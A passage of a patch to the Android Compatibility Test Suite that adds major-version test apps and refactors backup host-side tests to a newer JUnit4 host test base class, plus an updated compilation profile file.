+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_PACKAGE_NAME := CtsMajorVersion00000000ffffffff
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# sign this app with a different cert than CtsSimpleAppInstallDiffCert
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml
new file mode 100644
index 0000000..934deec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2009 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.majorversion"
+ android:versionCodeMajor="0x00000000" android:versionCode="0xffffffff">
+
+ <application/>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.majorversion" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/src/com/android/cts/majorversion/VersionConstants.java b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/src/com/android/cts/majorversion/VersionConstants.java
new file mode 100644
index 0000000..4c9a62b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/src/com/android/cts/majorversion/VersionConstants.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.majorversion;
+
+public class VersionConstants {
+ public static final long PACKAGE_VERSION = 0x00000000ffffffffL;
+}
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.mk
new file mode 100644
index 0000000..d534b7b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_PACKAGE_NAME := CtsMajorVersion000000ff00000000
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# sign this app with a different cert than CtsSimpleAppInstallDiffCert
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml
new file mode 100644
index 0000000..c7b9dd0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2009 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.majorversion"
+ android:versionCodeMajor="0x000000ff" android:versionCode="0x00000000">
+
+ <application/>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.majorversion" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/src/com/android/cts/majorversion/VersionConstants.java b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/src/com/android/cts/majorversion/VersionConstants.java
new file mode 100644
index 0000000..6a10139
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/src/com/android/cts/majorversion/VersionConstants.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.majorversion;
+
+public class VersionConstants {
+ public static final long PACKAGE_VERSION = 0x000000ff00000000L;
+}
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.mk b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.mk
new file mode 100644
index 0000000..72c9914
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src-common) $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_PACKAGE_NAME := CtsMajorVersion000000ffffffffff
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# sign this app with a different cert than CtsSimpleAppInstallDiffCert
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml
new file mode 100644
index 0000000..91d4e39
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2009 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.majorversion"
+ android:versionCodeMajor="0x000000ff" android:versionCode="0xffffffff">
+
+ <application/>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.majorversion" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/src/com/android/cts/majorversion/VersionConstants.java b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/src/com/android/cts/majorversion/VersionConstants.java
new file mode 100644
index 0000000..dead996
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/src/com/android/cts/majorversion/VersionConstants.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.majorversion;
+
+public class VersionConstants {
+ public static final long PACKAGE_VERSION = 0x000000ffffffffffL;
+}
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/com/android/cts/majorversion/VersionTest.java b/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/com/android/cts/majorversion/VersionTest.java
new file mode 100644
index 0000000..e69e14b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/com/android/cts/majorversion/VersionTest.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.majorversion;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+@RunWith(AndroidJUnit4.class)
+public class VersionTest {
+ @Test
+ public void testCheckVersion() throws Exception {
+ PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+ PackageInfo pi = pm.getPackageInfo(InstrumentationRegistry.getContext().getPackageName(),
+ 0);
+ assertEquals("com.android.cts.majorversion",
+ InstrumentationRegistry.getContext().getPackageName());
+ assertEquals(VersionConstants.PACKAGE_VERSION, pi.getLongVersionCode());
+ }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
index 4f46936..73373d3 100644
--- a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
@@ -16,7 +16,7 @@
package android.cts.backup;
-import static junit.framework.Assert.assertNull;
+import static org.junit.Assert.assertNull;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
@@ -62,6 +62,7 @@
private static final String ALLOWBACKUP_APP_APK = "BackupAllowedApp.apk";
@After
+ @Override
public void tearDown() throws Exception {
super.tearDown();
diff --git a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
index acdb423..f0861c0 100644
--- a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
@@ -16,15 +16,13 @@
package android.cts.backup;
-import static junit.framework.Assert.assertTrue;
-
import static org.junit.Assert.assertEquals;
-import static org.junit.Assume.assumeTrue;
+import static org.junit.Assert.assertTrue;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import org.junit.After;
import org.junit.Before;
@@ -38,7 +36,7 @@
* Base class for CTS backup/restore hostside tests
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public abstract class BaseBackupHostSideTest extends CompatibilityHostTestBase {
+public abstract class BaseBackupHostSideTest extends BaseHostJUnit4Test {
protected boolean mIsBackupSupported;
/** Value of PackageManager.FEATURE_BACKUP */
@@ -49,7 +47,7 @@
@Before
public void setUp() throws DeviceNotAvailableException, Exception {
- mIsBackupSupported = mDevice.hasFeature("feature:" + FEATURE_BACKUP);
+ mIsBackupSupported = getDevice().hasFeature("feature:" + FEATURE_BACKUP);
if (!mIsBackupSupported) {
CLog.i("android.software.backup feature is not supported on this device");
return;
@@ -71,7 +69,7 @@
* Execute shell command "bmgr backupnow <packageName>" and return output from this command.
*/
protected String backupNow(String packageName) throws DeviceNotAvailableException {
- return mDevice.executeShellCommand("bmgr backupnow " + packageName);
+ return getDevice().executeShellCommand("bmgr backupnow " + packageName);
}
/**
@@ -96,14 +94,14 @@
* Execute shell command "bmgr restore <packageName>" and return output from this command.
*/
protected String restore(String packageName) throws DeviceNotAvailableException {
- return mDevice.executeShellCommand("bmgr restore " + packageName);
+ return getDevice().executeShellCommand("bmgr restore " + packageName);
}
/**
* Attempts to clear the device log.
*/
protected void clearLogcat() throws DeviceNotAvailableException {
- mDevice.executeAdbCommand("logcat", "-c");
+ getDevice().executeAdbCommand("logcat", "-c");
}
/**
@@ -174,7 +172,7 @@
protected void startActivityInPackageAndWait(String packageName, String className)
throws DeviceNotAvailableException {
- mDevice.executeShellCommand(String.format(
+ getDevice().executeShellCommand(String.format(
"am start -W -a android.intent.action.MAIN -n %s/%s.%s", packageName,
packageName,
className));
@@ -187,19 +185,19 @@
*/
protected void clearBackupDataInLocalTransport(String packageName)
throws DeviceNotAvailableException {
- mDevice.executeShellCommand(String.format("bmgr wipe %s %s", LOCAL_TRANSPORT, packageName));
+ getDevice().executeShellCommand(String.format("bmgr wipe %s %s", LOCAL_TRANSPORT, packageName));
}
/**
* Clears package data
*/
protected void clearPackageData(String packageName) throws DeviceNotAvailableException {
- mDevice.executeShellCommand(String.format("pm clear %s", packageName));
+ getDevice().executeShellCommand(String.format("pm clear %s", packageName));
}
private boolean isBackupEnabled() throws DeviceNotAvailableException {
boolean isEnabled;
- String output = mDevice.executeShellCommand("bmgr enabled");
+ String output = getDevice().executeShellCommand("bmgr enabled");
Pattern pattern = Pattern.compile("^Backup Manager currently (enabled|disabled)$");
Matcher matcher = pattern.matcher(output.trim());
if (matcher.find()) {
@@ -211,7 +209,7 @@
}
private String getCurrentTransport() throws DeviceNotAvailableException {
- String output = mDevice.executeShellCommand("bmgr list transports");
+ String output = getDevice().executeShellCommand("bmgr list transports");
Pattern pattern = Pattern.compile("\\* (.*)");
Matcher matcher = pattern.matcher(output);
if (matcher.find()) {
diff --git a/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
index 89cfe40..6589993 100644
--- a/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
@@ -16,7 +16,7 @@
package android.cts.backup;
-import static junit.framework.Assert.assertNull;
+import static org.junit.Assert.assertNull;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
@@ -76,6 +76,7 @@
@After
+ @Override
public void tearDown() throws Exception {
super.tearDown();
diff --git a/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
index 8dd589a..e137e3e 100644
--- a/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
@@ -16,8 +16,6 @@
package android.cts.backup;
-import static org.junit.Assert.assertTrue;
-
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
diff --git a/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
index a1f4927..5ce86d9 100644
--- a/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
@@ -16,7 +16,7 @@
package android.cts.backup;
-import static junit.framework.Assert.assertNull;
+import static org.junit.Assert.assertNull;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
@@ -27,8 +27,6 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.io.FileNotFoundException;
-
/**
* Test for checking that key/value backup and restore works correctly.
* It interacts with the app that saves values in different shared preferences and files.
@@ -60,6 +58,7 @@
@Before
+ @Override
public void setUp() throws Exception {
super.setUp();
installPackage(KEY_VALUE_RESTORE_APP_APK);
@@ -70,6 +69,7 @@
}
@After
+ @Override
public void tearDown() throws Exception {
super.tearDown();
diff --git a/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
index 7c1f37b..a62eab8 100644
--- a/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
@@ -16,23 +16,17 @@
package android.cts.backup;
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertNull;
-import static junit.framework.Assert.assertTrue;
-
-import static org.junit.Assume.assumeTrue;
+import static org.junit.Assert.assertNull;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.targetprep.TargetSetupError;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.After;
-import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.io.FileNotFoundException;
-
/**
* Test checking that restoreAnyVersion manifest flag is respected by backup manager.
*
@@ -62,6 +56,7 @@
"CtsBackupRestoreAnyVersionNoRestoreApp.apk";
@After
+ @Override
public void tearDown() throws Exception {
super.tearDown();
@@ -157,21 +152,21 @@
}
private void installRestoreAnyVersionApp()
- throws DeviceNotAvailableException, FileNotFoundException {
+ throws DeviceNotAvailableException, TargetSetupError {
installPackage(RESTORE_ANY_VERSION_APP_APK, "-d", "-r");
checkRestoreAnyVersionDeviceTest("checkAppVersionIsOld");
}
private void installNoRestoreAnyVersionApp()
- throws DeviceNotAvailableException, FileNotFoundException {
+ throws DeviceNotAvailableException, TargetSetupError {
installPackage(NO_RESTORE_ANY_VERSION_APK, "-d", "-r");
checkRestoreAnyVersionDeviceTest("checkAppVersionIsOld");
}
private void installNewVersionApp()
- throws DeviceNotAvailableException, FileNotFoundException {
+ throws DeviceNotAvailableException, TargetSetupError {
installPackage(RESTORE_ANY_VERSION_UPDATE_APK, "-d", "-r");
checkRestoreAnyVersionDeviceTest("checkAppVersionIsNew");
diff --git a/hostsidetests/compilation/assets/primary.prof.txt b/hostsidetests/compilation/assets/primary.prof.txt
index 0a8bded..fd55262 100644
--- a/hostsidetests/compilation/assets/primary.prof.txt
+++ b/hostsidetests/compilation/assets/primary.prof.txt
@@ -1,103 +1,103 @@
Landroid/cts/compilation/CompilationTargetActivity;
-Landroid/cts/compilation/CompilationTargetActivity;->m0()I
-Landroid/cts/compilation/CompilationTargetActivity;->m1()I
-Landroid/cts/compilation/CompilationTargetActivity;->m2()I
-Landroid/cts/compilation/CompilationTargetActivity;->m3()I
-Landroid/cts/compilation/CompilationTargetActivity;->m4()I
-Landroid/cts/compilation/CompilationTargetActivity;->m5()I
-Landroid/cts/compilation/CompilationTargetActivity;->m6()I
-Landroid/cts/compilation/CompilationTargetActivity;->m7()I
-Landroid/cts/compilation/CompilationTargetActivity;->m8()I
-Landroid/cts/compilation/CompilationTargetActivity;->m9()I
-Landroid/cts/compilation/CompilationTargetActivity;->m10()I
-Landroid/cts/compilation/CompilationTargetActivity;->m11()I
-Landroid/cts/compilation/CompilationTargetActivity;->m12()I
-Landroid/cts/compilation/CompilationTargetActivity;->m13()I
-Landroid/cts/compilation/CompilationTargetActivity;->m14()I
-Landroid/cts/compilation/CompilationTargetActivity;->m15()I
-Landroid/cts/compilation/CompilationTargetActivity;->m16()I
-Landroid/cts/compilation/CompilationTargetActivity;->m17()I
-Landroid/cts/compilation/CompilationTargetActivity;->m18()I
-Landroid/cts/compilation/CompilationTargetActivity;->m19()I
-Landroid/cts/compilation/CompilationTargetActivity;->m20()I
-Landroid/cts/compilation/CompilationTargetActivity;->m21()I
-Landroid/cts/compilation/CompilationTargetActivity;->m22()I
-Landroid/cts/compilation/CompilationTargetActivity;->m23()I
-Landroid/cts/compilation/CompilationTargetActivity;->m24()I
-Landroid/cts/compilation/CompilationTargetActivity;->m25()I
-Landroid/cts/compilation/CompilationTargetActivity;->m26()I
-Landroid/cts/compilation/CompilationTargetActivity;->m27()I
-Landroid/cts/compilation/CompilationTargetActivity;->m28()I
-Landroid/cts/compilation/CompilationTargetActivity;->m29()I
-Landroid/cts/compilation/CompilationTargetActivity;->m30()I
-Landroid/cts/compilation/CompilationTargetActivity;->m31()I
-Landroid/cts/compilation/CompilationTargetActivity;->m32()I
-Landroid/cts/compilation/CompilationTargetActivity;->m33()I
-Landroid/cts/compilation/CompilationTargetActivity;->m34()I
-Landroid/cts/compilation/CompilationTargetActivity;->m35()I
-Landroid/cts/compilation/CompilationTargetActivity;->m36()I
-Landroid/cts/compilation/CompilationTargetActivity;->m37()I
-Landroid/cts/compilation/CompilationTargetActivity;->m38()I
-Landroid/cts/compilation/CompilationTargetActivity;->m39()I
-Landroid/cts/compilation/CompilationTargetActivity;->m40()I
-Landroid/cts/compilation/CompilationTargetActivity;->m41()I
-Landroid/cts/compilation/CompilationTargetActivity;->m42()I
-Landroid/cts/compilation/CompilationTargetActivity;->m43()I
-Landroid/cts/compilation/CompilationTargetActivity;->m44()I
-Landroid/cts/compilation/CompilationTargetActivity;->m45()I
-Landroid/cts/compilation/CompilationTargetActivity;->m46()I
-Landroid/cts/compilation/CompilationTargetActivity;->m47()I
-Landroid/cts/compilation/CompilationTargetActivity;->m48()I
-Landroid/cts/compilation/CompilationTargetActivity;->m49()I
-Landroid/cts/compilation/CompilationTargetActivity;->m50()I
-Landroid/cts/compilation/CompilationTargetActivity;->m51()I
-Landroid/cts/compilation/CompilationTargetActivity;->m52()I
-Landroid/cts/compilation/CompilationTargetActivity;->m53()I
-Landroid/cts/compilation/CompilationTargetActivity;->m54()I
-Landroid/cts/compilation/CompilationTargetActivity;->m55()I
-Landroid/cts/compilation/CompilationTargetActivity;->m56()I
-Landroid/cts/compilation/CompilationTargetActivity;->m57()I
-Landroid/cts/compilation/CompilationTargetActivity;->m58()I
-Landroid/cts/compilation/CompilationTargetActivity;->m59()I
-Landroid/cts/compilation/CompilationTargetActivity;->m60()I
-Landroid/cts/compilation/CompilationTargetActivity;->m61()I
-Landroid/cts/compilation/CompilationTargetActivity;->m62()I
-Landroid/cts/compilation/CompilationTargetActivity;->m63()I
-Landroid/cts/compilation/CompilationTargetActivity;->m64()I
-Landroid/cts/compilation/CompilationTargetActivity;->m65()I
-Landroid/cts/compilation/CompilationTargetActivity;->m66()I
-Landroid/cts/compilation/CompilationTargetActivity;->m67()I
-Landroid/cts/compilation/CompilationTargetActivity;->m68()I
-Landroid/cts/compilation/CompilationTargetActivity;->m69()I
-Landroid/cts/compilation/CompilationTargetActivity;->m70()I
-Landroid/cts/compilation/CompilationTargetActivity;->m71()I
-Landroid/cts/compilation/CompilationTargetActivity;->m72()I
-Landroid/cts/compilation/CompilationTargetActivity;->m73()I
-Landroid/cts/compilation/CompilationTargetActivity;->m74()I
-Landroid/cts/compilation/CompilationTargetActivity;->m75()I
-Landroid/cts/compilation/CompilationTargetActivity;->m76()I
-Landroid/cts/compilation/CompilationTargetActivity;->m77()I
-Landroid/cts/compilation/CompilationTargetActivity;->m78()I
-Landroid/cts/compilation/CompilationTargetActivity;->m79()I
-Landroid/cts/compilation/CompilationTargetActivity;->m80()I
-Landroid/cts/compilation/CompilationTargetActivity;->m81()I
-Landroid/cts/compilation/CompilationTargetActivity;->m82()I
-Landroid/cts/compilation/CompilationTargetActivity;->m83()I
-Landroid/cts/compilation/CompilationTargetActivity;->m84()I
-Landroid/cts/compilation/CompilationTargetActivity;->m85()I
-Landroid/cts/compilation/CompilationTargetActivity;->m86()I
-Landroid/cts/compilation/CompilationTargetActivity;->m87()I
-Landroid/cts/compilation/CompilationTargetActivity;->m88()I
-Landroid/cts/compilation/CompilationTargetActivity;->m89()I
-Landroid/cts/compilation/CompilationTargetActivity;->m90()I
-Landroid/cts/compilation/CompilationTargetActivity;->m91()I
-Landroid/cts/compilation/CompilationTargetActivity;->m92()I
-Landroid/cts/compilation/CompilationTargetActivity;->m93()I
-Landroid/cts/compilation/CompilationTargetActivity;->m94()I
-Landroid/cts/compilation/CompilationTargetActivity;->m95()I
-Landroid/cts/compilation/CompilationTargetActivity;->m96()I
-Landroid/cts/compilation/CompilationTargetActivity;->m97()I
-Landroid/cts/compilation/CompilationTargetActivity;->m98()I
-Landroid/cts/compilation/CompilationTargetActivity;->m99()I
-Landroid/cts/compilation/CompilationTargetActivity;->m100()I
-Landroid/cts/compilation/CompilationTargetActivity;->m101()I
\ No newline at end of file
+SHLandroid/cts/compilation/CompilationTargetActivity;->m0()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m1()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m2()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m3()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m4()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m5()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m6()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m7()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m8()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m9()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m10()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m11()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m12()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m13()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m14()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m15()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m16()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m17()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m18()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m19()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m20()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m21()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m22()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m23()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m24()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m25()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m26()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m27()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m28()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m29()I
